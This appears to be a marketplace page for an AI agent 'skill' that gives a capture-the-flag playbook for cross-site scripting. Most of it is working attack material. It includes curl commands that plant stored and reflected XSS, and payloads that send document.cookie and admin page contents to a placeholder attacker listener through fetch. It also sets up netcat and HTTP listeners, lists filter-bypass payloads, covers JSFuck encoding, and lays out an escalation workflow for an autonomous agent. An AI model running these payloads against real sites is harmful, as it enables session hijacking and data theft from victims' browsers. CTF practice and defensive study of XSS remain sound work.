Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
71
88%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Pattern A — Bot/Cookie Chain (classic CTF):
/report or /contactdocument.cookie or admin page content to your listener/report endpoint exists, challenge mentions "admin visits", cookie in sessionPattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
/report endpoint (returns 404)alert("XSS") or alert(1) in the response = flagnew_umbrella / error_umbrella in response, alphanumeric filter activeQuick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'The standard CTF XSS workflow:
/report endpoint)# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &
# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">
# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
# HTML entity encoding bypass
<img src=x onerror="alert(1)">
# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# Event handlers (bypass <script> tag blocks)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg onload=alert(1)>
# Template literal + fetch (modern, avoids quotes)
<img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)>
# Double encoding (if server decodes twice)
%253Cscript%253Ealert(1)%253C/script%253E
# If angle brackets blocked — inject into existing JS context
';alert(1);//
"-alert(1)-"/report, /admin/visit, /contactpython3 -m http.server or nc -lvnp/admin page, /.env endpoint, DOM elementsWhen the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no /report, filter active):
Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:
<input onfocus=alert("XSS") autofocus>, <details open ontoggle=alert("XSS")>, <svg/onload=alert("XSS")>)JSFuck.encode('alert("XSS")', false, true))If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write exploit/CONVERGED.md with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".
Anti-pattern: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.
Use when: alphanumeric chars are blocked but []()!+ pass through (Pattern B / Cross series).
# Install jsfuck locally (node is pre-installed in sandbox)
npm install jsfuck 2>/dev/null
# Encode with runInParentScope=true (uses eval, avoids Function constructor)
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt
# Verify payload has zero alphanumeric chars
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"
# Submit via curl, grep for flag in response
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"Function-constructor TypeError fallback:
If server returns TypeError: Attempting to change the setter of an unconfigurable property, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.
Fix: use runInParentScope=true (third argument) — switches from Function constructor to eval() injection:
# Default (broken in strict sandboxes): JSFuck.encode(str, false, false) <- Function constructor
# Fixed: JSFuck.encode(str, false, true) <- eval injection
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"If runInParentScope=true still fails, try raw eval wrapping:
# Encode just the string 'alert("XSS")' then wrap in eval manually
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"Win condition: server-side JS evaluator detects alert() call in reflected input. No /report endpoint. No bot. No listener needed.
# Quick alphanumeric filter probe
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked" # blocked = filter active
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok" # specials pass = JSFuck viable
# Inject and check response — success indicator appears in HTTP 200 body when alert triggers
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"Do NOT waste time on:
/report, /contact, /visit endpoints (404 on Cross challenges)python3 -m http.server listeners (no bot will callback)document.cookie exfiltration (cookie setter is frozen — signals Pattern B environment)Some Cross challenges (e.g., filter-bypass example) use a regex like <[a-yA-Y/]+ that blocks < followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:
# Probe whether tag-name first char escapes the filter
curl -sg "$TARGET/page?name=<a>" | grep -i "sorry" # likely blocked (a in range)
curl -sg "$TARGET/page?name=<z>" | grep -i "sorry" # not blocked = z escapes
curl -sg "$TARGET/page?name=<Z>" | grep -i "sorry" # check uppercase Z
curl -sg "$TARGET/page?name=< img>" | grep -i "sorry" # space after `<` may bypass
# Once a non-blocked first-char is found, build payload with valid HTML tag.
# PhantomJS treats unknown tag names as elements; event handlers still fire on
# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):
# <Z onerror=alert("XSS") src=x>
# <Zsvg onload=alert("XSS")>
# If unknown tags don't fire events, use `<svg/onload=...>` style with the
# regex-escaping prefix in front: e.g. some filters with `+` quantifier let
# `<>` (zero letters) slip through followed by `<svg ...>` later in the same
# attribute — test both placements.Key insight: re.findall + + quantifier requires ≥1 matching char immediately after <. Any first character outside the class (digits, whitespace, z/Z, special chars) bypasses the regex entirely.
When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:
| Filter blocks | Bypass class | Example payloads |
|---|---|---|
<script> tag | Event handler on any element | <svg onload=alert(1)>, <input autofocus onfocus=alert(1)>, <details open ontoggle=alert(1)> |
alert keyword | Property access / obfuscation | window['ale'+'rt'](1), (()=>alert)()(1), top[/al/.source+/ert/.source](1) |
Quotes " and ' | Template literals / charcode | <svg onload=alert`1`>, <img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))> |
( and ) | Template literal call | <svg onload=alert`1`>, setTimeout`alert\x281\x29` |
alert() overridden by prototype | iframe srcdoc / new window | <iframe srcdoc="<script>parent.alert(1)</script>">, <a href=javascript:alert(1)>click</a> |
| Tag whitelist (specific tags only) | Style/CSS injection | <div style="background:url('javascript:alert(1)')"> |
Angle brackets < > | Inject into existing JS context | ';alert(1);//, "-alert(1)-", \;alert(1);//` |
| Prototype chain hardened | Direct assignment | Object.prototype.toString=alert |
Pivot rule: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.
The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.
Track classes in exploit/xss_classes.txt:
# Before each payload attempt
CLASS="event-handler" # name of bypass class for this payload
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
echo "${CLASS}" >> exploit/xss_classes.txt
# ... craft and send payload ...
fiBypass classes to rotate among (try at least 4 per endpoint):
| # | Class name | Representative payloads |
|---|---|---|
| 1 | tag-based | <script>, <svg>, <img onerror=> |
| 2 | event-handler | onload, onerror, onfocus autofocus, ontoggle |
| 3 | javascript-url | <a href="javascript:...">, <iframe src="javascript:..."> |
| 4 | template-literal | alert`1`, String.fromCharCode(...), hex/unicode escapes |
| 5 | iframe-srcdoc | <iframe srcdoc="<script>parent.alert(1)</script>"> |
| 6 | css-style | <div style="background:url('javascript:...')">, expression(...) |
| 7 | js-context-inject | ';alert(1);//, "-alert(1)-", inject into existing script block |
| 8 | prototype-abuse | Object.prototype.toString=alert, DOM clobbering |
Why class-diversity beats deeper iteration: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.
HARD RULE: If exploit/xss_classes.txt shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write exploit/CONVERGED.md and return to orchestrator.
| Tool | Purpose |
|---|---|
| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |
| nc -lvnp | Netcat listener for raw data (Pattern A only) |
| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |
| XSStrike | Automated XSS detection with WAF bypass |
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.